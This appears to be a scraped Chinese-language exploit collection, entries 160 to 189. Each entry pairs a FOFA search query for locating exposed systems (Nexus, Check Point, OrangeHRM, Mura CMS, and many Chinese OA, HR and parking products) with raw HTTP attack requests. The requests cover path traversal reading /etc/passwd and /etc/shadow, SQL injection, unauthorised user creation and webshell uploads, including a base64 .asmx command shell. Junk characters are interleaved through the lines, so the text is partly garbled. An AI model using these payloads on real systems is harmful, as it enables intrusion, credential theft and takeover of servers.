7 i+ j- k4 [2 v<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
5 m! r- ^$ }+ J% Q- Z7 Q<soap:Body>
<jobUpload xmlns="http://rainier">
/ u9 d) O/ b1 g3 N, J& a<vcode>1</vcode>
<subFolder></subFolder>
2 o' [) T6 _0 H0 N: ^<fileName>abcrce.asmx</fileName>
<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
</jobUpload>
/ a( i2 \/ T/ F8 R& z% S0 S</soap:Body>
</soap:Envelope>


/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")
+ b! R7 B" h  E+ h% G/ V) K

160. Sonatype Nexus Repository 3目录遍历与文件读取
, D) S3 I2 t( G) X% c$ s! Z0 R' D5 ECVE-2024-4956
FOFA：title="Nexus Repository Manager"
GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: x.x.x.x
8 W9 G2 d3 j. J) k2 I$ IUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
4 L8 ?7 b8 e2 `* l/ j3 zConnection: close
7 _, O8 E! T" L9 D$ ^  fAccept: */*
Accept-Language: en
5 ~5 e  ]+ _  h! l; G5 HAccept-Encoding: gzip

  y7 K' J; p6 W# @3 x% l
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
7 S1 f* ?' V4 r3 z& }FOFA：body="/KT_Css/qd_defaul.css"
  X- N3 A7 J" g; |3 D) z7 X3 r第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
POST /Webservice.asmx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
/ l2 g9 Z1 v* c" P+ ~: }Connection: close
Content-Length: 445
Content-Type: text/xml
% z0 ^* }4 a% c1 M, [1 i$ iAccept-Encoding: gzip
2 Y& J: G% C/ X8 v. g
<?xml version="1.0" encoding="utf-8"?>
) _" G5 ~9 ]5 ]3 @<soap:Envelope xmlns:xsi="
# I" K! |( V, o0 Phttp://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
2 x$ R- G; L' E9 _, m4 b4 L) R  c7 S! n" a<UploadResume xmlns="http://tempuri.org/">
<ip>1</ip>
<fileName>../../../../dizxdell.aspx</fileName>
& a3 P* x; {. k<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
<tag>3</tag>
- A0 b7 }( H7 T7 _</UploadResume>
% z/ a/ A& w+ V" i% D</soap:Body>
2 f  U2 E+ [8 G& _! ^</soap:Envelope>
- G6 N8 l% \" v( C) g

http://x.x.x.x/dizxdell.aspx
/ o- ~2 Z  M/ ^+ F, t7 t
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
. M# F! p* q$ NFOFA: app="和丰山海-数字标牌"
POST /QH.aspx HTTP/1.1
& l) t1 `; u4 Y- u3 ?" wHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Length: 583
, g' o" o! r2 q) KContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
1 l* w( R; [. S4 v9 ~Accept-Encoding: gzip

  R" O( z* k2 t. m------WebKitFormBoundaryeegvclmyurlotuey
# \0 M# |! v8 |" u( LContent-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
+ b1 H9 U; G) J6 h: w# Q/ {8 p9 RContent-Type: application/octet-stream

<% response.write("ujidwqfuuqjalgkvrpqy") %>
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="action"

upload
------WebKitFormBoundaryeegvclmyurlotuey
; Q8 }1 u; Y9 EContent-Disposition: form-data; name="responderId"

+ s" v% v; M) FResourceNewResponder
' R. E4 M7 X- ^  P4 L% U------WebKitFormBoundaryeegvclmyurlotuey
2 B- \" z7 r# Q2 z" y' iContent-Disposition: form-data; name="remotePath"

/opt/resources
0 V' q, y9 ^8 A) t" W------WebKitFormBoundaryeegvclmyurlotuey--

- \; H, c) S5 W$ b) a
http://x.x.x.x/opt/resources/kjuhitjgk.aspx

# i: }5 w: @/ I163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
FOFA: icon_hash="-795291075"
* j4 h: i% t+ p5 C- \POST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
; q* s9 ~0 i3 C- t  o6 IHost: x.x.x.x
; \0 f, {8 y- T5 m+ K9 o/ K. zUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
Content-Length: 293
Accept: */*
9 q% L" `( D1 dAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod
- O% O8 g  i3 D1 m' p* L% |; ~  h
4 u. R2 W8 W: t; K3 ]/ e------iiqvnofupvhdyrcoqyuujyetjvqgocod
- L, P. m. d- QContent-Disposition: form-data; name="name"
& V! Z" U6 v; D: S: J: r7 t
- D! E  D4 l# y1.php
: I8 r9 \* ~7 y' n8 D------iiqvnofupvhdyrcoqyuujyetjvqgocod
- s$ [" d: l3 e% }) q4 wContent-Disposition: form-data; name="upfile"; filename="1.php"
Content-Type: image/jpeg

rvjhvbhwwuooyiioxega
------iiqvnofupvhdyrcoqyuujyetjvqgocod--
9 x; B# R: `  z4 B% c/ }
0 e; ~6 v1 p4 ~0 {2 B
6 \* n) W1 t/ l, b8 D5 ~164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
' ~( b8 f: }+ y  pFOFA: title="智慧综合管理平台登入"
POST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
* N; z- X5 s# B5 b  ^0 OHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
5 G$ C4 S& n; b/ Y& l7 E) c# ^Content-Length: 288
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
Connection: close
, v4 V8 W/ D9 G( J7 T( DContent-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

# e6 T( S. d/ c- z2 J6 C------dqdaieopnozbkapjacdbdthlvtlyl
Content-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
Content-Type: image/jpeg
2 Z- P1 H: t8 ?2 k8 b
<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
------dqdaieopnozbkapjacdbdthlvtlyl--


  U  D! d% D; h) n/ J/ C" i/ zhttp://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx

165. OrangeHRM 3.3.3 SQL 注入
" u% d4 i( n# k( W$ E  O% u* dCVE-2024-36428
FOFA: app="OrangeHRM-产品"
" `4 r6 P& `- L" gURL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))
; ?" @* s, U0 V) W' l, r. S* H- S
% e. S" d( z; O
166. 中成科信票务管理平台SeatMapHandler SQL注入
, H" O' L* w" g# g$ j( Q8 oFOFA：body="技术支持：北京中成科信科技发展有限公司"
% M% V- P# {) I4 ^POST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
Host:
1 X3 Q$ U3 V& nPragma: no-cache
( y9 G! i5 {( v, K: R. NCache-Control: no-cache
1 e3 z% `; c6 s2 l# EUpgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
' I& z( _8 t* _4 ]8 _' }! ]; g) J" rAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
1 a' c4 Y  {6 n3 Z/ \" d- T' ?& aAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
Connection: close
; |7 N6 ^* q2 G' HContent-Type: application/x-www-form-urlencoded
Content-Length: 89
! t( s! L& r2 D  C" _5 A
Method=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE

6 j3 L, z& q, X1 G0 n( r5 n
167. 精益价值管理系统 DownLoad.aspx任意文件读取
* [; Y& h7 m  Y. k% cFOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
GET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
1 U: _& G+ \% i# zAccept-Encoding: gzip, deflate
Accept: */*
+ k" d, r# O# R  W) z. i9 n1 kConnection: keep-alive


168. 宏景EHR OutputCode 任意文件读取
FOFA：app="HJSOFT-HCM"
GET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
6 C/ H+ A" b4 P5 L) BHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded
! n- i0 o- e6 _* AConnection: close
( c! e9 T0 q( q9 s5 f& t/ q# f+ D


169. 宏景EHR downlawbase SQL注入
; c8 I1 i( t6 d$ X7 XFOFA：app="HJSOFT-HCM"
/ ?  C0 l, A- E% \2 p" H: l, NGET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
# H4 {3 U! n3 W0 d# f( z$ d) d$ @Accept: */*
Accept-Encoding: gzip, deflate
$ I. R, u! \8 C6 g- e% p" f: rConnection: close
' E$ j# w$ o% D2 {& L' e% ^' r
) T  r2 o5 e2 L( `& d

) j$ e9 ?* |2 `" c170. 宏景EHR DisplayExcelCustomReport 任意文件读取
FOFA：body="/general/sys/hjaxmanage.js"
$ I, }+ N' E( |# [, z- X) @POST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
Host: balalanengliang
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
$ X( ]% C5 ^7 P
6 ~) {. m7 o1 {! S. `filename=../webapps/ROOT/WEB-INF/web.xml
# j: }7 J/ d: I  X" L
- _+ S6 o2 S& \1 `% L  O% T" Z
171. 通天星CMSV6车载定位监控平台 SQL注入
FOFA：body="/808gps/"
% [2 ?% k, R- }GET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
0 ?3 r4 b4 u- vHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
, X/ x8 V: b. o$ P0 V0 U. dAccept: */*
! O$ @( F7 l. b4 w% R* {Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
4 S. F3 G" d/ M5 FAccept-Encoding: gzip, deflate
( L$ p  w! U( ?9 ?Connection: close
% d3 E' d* N. z* u; B: C
, {( J8 ^6 t& H$ t
" b" \* K; l, a' U# n
2 f+ ^% c1 }0 g+ t0 C! }172. DT-高清车牌识别摄像机任意文件读取
FOFA：app="DT-高清车牌识别摄像机"
* _2 Q  U: j5 b: C, _0 }GET /../../../../etc/passwd HTTP/1.1
4 M$ D  q9 N; i2 j$ e# _Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
: X% U3 x# }2 N) ]$ m3 nConnection: keep-alive

  B1 Q+ y! T5 K! K. g: A* T* x$ a

1 b4 l, j, j7 V$ P173. Check Point 安全网关任意文件读取
CVE-2024-24919
FOFA：app="Check_Point-SSL-Network-Extender"
+ U$ L4 m/ i& z" n6 P, a  m$ bPOST /clients/MyCRL HTTP/1.1
8 f+ o; D) q+ \* z; G' XHost: your-ip
/ o5 m' m0 g, X( Q8 w& }Content-Type: application/x-www-form-urlencoded
/ m8 m* W7 o0 w, I" x# T. y
5 ]: u8 X1 Q1 A5 p, QaCSHELL/../../../../../../../etc/shadow


" M3 X; u5 k7 `( ~* o, R& R
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
FOFA：app="金和网络-金和OA"
2 X: a* p7 ~" N: E0 X. q% @$ fGET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
( W- h5 G: Z9 Y/ ?& xAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
2 F% A2 ?8 a5 j6 t4 gConnection: close
3 V) X& V5 h  R6 D  n


$ ]0 `! a0 O+ C. g% Y4 a; \175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
FOFA：app="金和网络-金和OA"
GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
Host:
. H; }, ^8 y4 }User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
/ l1 l. K+ L+ u. ~/ T; F7 A: C
# d1 C3 y$ d0 [1 ?5 D5 x# P! R
# u  e: Z. [0 H, ~3 ^' u) w& T7 L( }176. 电信网关配置管理系统 rewrite.php 文件上传
5 N! |) R* A- ^5 V' H! Q  sFOFA：body="img/login_bg3.png" && body="系统登录"
POST /manager/teletext/material/rewrite.php HTTP/1.1
5 a) a! X  h' o. g1 u; [3 k/ `+ {Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
3 w1 V% P3 ?0 J: ^' rContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
Connection: close

; a. Q2 t" y  c7 t: v. T) u2 l0 J2 g------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="tmp_name"; filename="test.php"
Content-Type: image/png
9 n8 P0 c" I% n. {
<?php system("cat /etc/passwd");unlink(__FILE__);?>
- x3 s# a6 H$ u5 }------WebKitFormBoundaryOKldnDPT
! v. ~/ G2 G3 ^) y1 aContent-Disposition: form-data; name="uploadtime"


------WebKitFormBoundaryOKldnDPT--


5 b- R/ e7 i5 D: }7 _- M1 G/ g
  S. g' H' C" a( x177. H3C路由器敏感信息泄露
$ Q6 y/ x+ E. _  h/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
' ?/ }0 X8 {7 Z- O2 {/userLogin.asp/../actionpolicy_status/../M60.cfg
/userLogin.asp/../actionpolicy_status/../GR8300.cfg
/userLogin.asp/../actionpolicy_status/../GR5200.cfg
' i! W1 W- K6 b: l: M/userLogin.asp/../actionpolicy_status/../GR3200.cfg
/userLogin.asp/../actionpolicy_status/../GR2200.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
. L% @( t9 @' Z; w, z0 x/ H; D/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
7 v$ @" h6 o6 q1 `# d3 [/ g* z" {4 D. M7 t/userLogin.asp/../actionpolicy_status/../ER5200.cfg
/userLogin.asp/../actionpolicy_status/../ER5100.cfg
  e) W& c- u; Z7 v* R' P2 v1 e/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
  S4 y% @: V: k: D1 }/userLogin.asp/../actionpolicy_status/../ER3260.cfg
+ _! \8 r3 N( m) e% z# G0 q% m% d5 d/ ~/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
# }5 b  L, i  v% t! ]; k/userLogin.asp/../actionpolicy_status/../ER3200.cfg
- q# h% I) N( y/ M" K! ]7 @/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
# O1 i7 u& N5 K$ p: D/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
) V" q% W% Y, z5 S/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3100.cfg
/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg


( w2 @9 y7 R7 R- G  ~178. H3C校园网自助服务系统-flexfileupload-任意文件上传
3 X) c: m4 A$ E, S; gFOFA：header="/selfservice"
( |* `( f, k* C" P* nPOST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
, O1 H3 d# a1 W, H) |, t: ^2 oHost:
3 O2 R0 p8 A) I0 u% u1 P! yUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Length: 252
; e: F" \: r7 \9 r. d5 GAccept-Encoding: gzip, deflate
Connection: close
: s( D+ Y- t1 h6 }8 RContent-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
; ^0 `0 M3 n. `1 x& C% d3 p9 Y-----------------aqutkea7vvanpqy3rh2l
3 M  y* t7 x; f! _6 W2 hContent-Disposition: form-data; name="12234.txt"; filename="12234"
  d7 A4 v5 {2 X4 ~: V! xContent-Type: application/octet-stream
6 |) y% g. W0 SContent-Length: 255

. L9 z6 s% ]& S4 @12234
9 A! y- m* `+ }-----------------aqutkea7vvanpqy3rh2l--

& ~, ]& I5 ^( H* n: W: S
GET /imc/primepush/%2e%2e/flex/12234.txt
3 c7 [+ H" x' \, [. Q* ]: {' x
$ E6 ?* ]  ]2 `* k- k8 L
& k3 U  r5 w" C1 w  k! A179. 建文工程管理系统存在任意文件读取
. }( P) U- U$ c' uPOST /Common/DownLoad2.aspx HTTP/1.1
4 Q7 u6 K9 _0 G, ]! G5 B) r8 tHost: {{Hostname}}
& a& i4 m& w& I$ ], HContent-Type: application/x-www-form-urlencoded
( }+ Y" `) e0 O9 P% XUser-Agent: Mozilla/5.0

path=../log4net.config&Name=


4 W* n9 \  `  `! u4 ?, \180. 帮管客 CRM jiliyu SQL注入
FOFA：app="帮管客-CRM"
GET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
Host: your-ip
- u0 T5 G$ G+ d" v9 J' I) TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
' H# q2 f, ^6 K; I6 K$ c+ K& M9 DAccept-Encoding: gzip, deflate
3 Y, @7 H- Z7 MAccept-Language: zh-CN,zh;q=0.9
Connection: close
9 ]2 ~7 w4 \: w4 @5 g
- {; T1 o1 D) `3 O0 z! o
" \! ^  w! ]$ y% Y+ W181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
8 o6 W: G. d) }: LFOFA："PDCA/js/_publicCom.js"
9 y  `5 t" r' c' c8 \; D+ mPOST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
0 c) s+ |9 C5 l' ?' LAccept-Encoding: gzip, deflate, br
' D+ ~0 f: I6 l8 v/ i: `' VAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
7 G! ^* R' d) B( `3 N
( ]% m/ V8 W2 M
. i6 p' n0 g1 g- K% {action=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20


9 {/ o- N( k4 H* {; `182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
2 n; |6 ?# ]: ?) X, j7 _* k6 o; XFOFA："PDCA/js/_publicCom.js"
$ @+ s8 X7 j# [( G# _POST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
/ _6 m. l  l6 M% Z  [0 t4 N! ~Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
+ J3 f6 O+ ?, `9 t; mConnection: close
Content-Type: application/x-www-form-urlencoded
  x! j$ p& f2 Q

5 M# b5 m" }  t' n! fusername=test1234&pwd=test1234&savedays=1
8 X8 Y, g; r8 j- K% \7 D: |7 v

! b7 D- h0 J" A4 l5 ^0 v8 K* d# \183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
FOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
GET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
9 d6 C# [$ |0 m9 x- M9 D7 J7 r$ T

1 T$ @8 A% `7 v. g. o! O1 C6 J5 A184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
- s: b0 r2 ^* [) P, |6 cFOFA：server="SunFull-Webs"
POST /soap/AddUser HTTP/1.1
7 K. B& N$ K, d+ Z+ q3 c; S* r7 ]Host: your-ip
& q& Q4 Q7 E. G7 \' n8 q" _) wAccept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: application/xml, text/xml, */*; q=0.01
* E% z/ h  n( g1 q- EContent-Type: text/xml; charset=utf-8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 ^. [7 V$ P- }+ B6 ]7 ]X-Requested-With: XMLHttpRequest
. h, s1 X) w: l, ]6 \

1 _, D* h4 H6 winsert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')
1 Y- k. o- Y4 m' o& n9 G3 o

185. 瑞友天翼应用虚拟化系统SQL注入
version < 7.0.5.1
FOFA：app="REALOR-天翼应用虚拟化系统"
GET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
Host: host

  n) J& v1 H) V' `2 l$ `
186. F-logic DataCube3 SQL注入
CVE-2024-31750
F-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
0 t7 C# j+ E9 J/ OFOFA：title=="DataCube3"
POST /admin/pr_monitor/getting_index_data.php HTTP/1.1
7 e$ |/ [% @, r, I( I8 u  jHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded

* k8 ~) |& r/ _! R; A  r2 Breq_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450

$ W6 J; U5 U' I7 v# q3 w. H
187. Mura CMS processAsyncObject SQL注入
CVE-2024-32640
FOFA："Mura CMS"
. T+ r: i% z. }9 I( G5 xPOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
; ^* E& y3 t* h; r/ t0 WHost: your-ip
5 s4 L, @$ T- `& \3 tContent-Type: application/x-www-form-urlencoded
2 G% z( @% O/ P2 s/ F( d0 J5 p; J

object=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1
, C" B1 j+ R7 R
$ [: u. h# D  @! n# A  r
188. 叁体-佳会视频会议 attachment 任意文件读取
" |2 ]% p' H* j8 d; c# Rversion <= 3.9.7
. J% A; W* O8 _FOFA：body="/system/get_rtc_user_defined_info?site_id"
0 H1 y! s) [" D8 b" x7 Q' \GET /attachment?file=/etc/passwd HTTP/1.1
Host: your-ip
2 d: o- R/ {, d" KUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
0 X9 S. M* ~2 O2 I6 KAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
* e2 E5 s# M- _* t, L' ]  ]Connection: close


, l- |: O9 F/ ~. E! `# k189. 蓝网科技临床浏览系统 deleteStudy SQL注入
FOFA：app="LANWON-临床浏览系统"
" S1 y* _; T' C; u" V3 T, vGET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
) f$ e- E6 G1 s6 n2 QHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
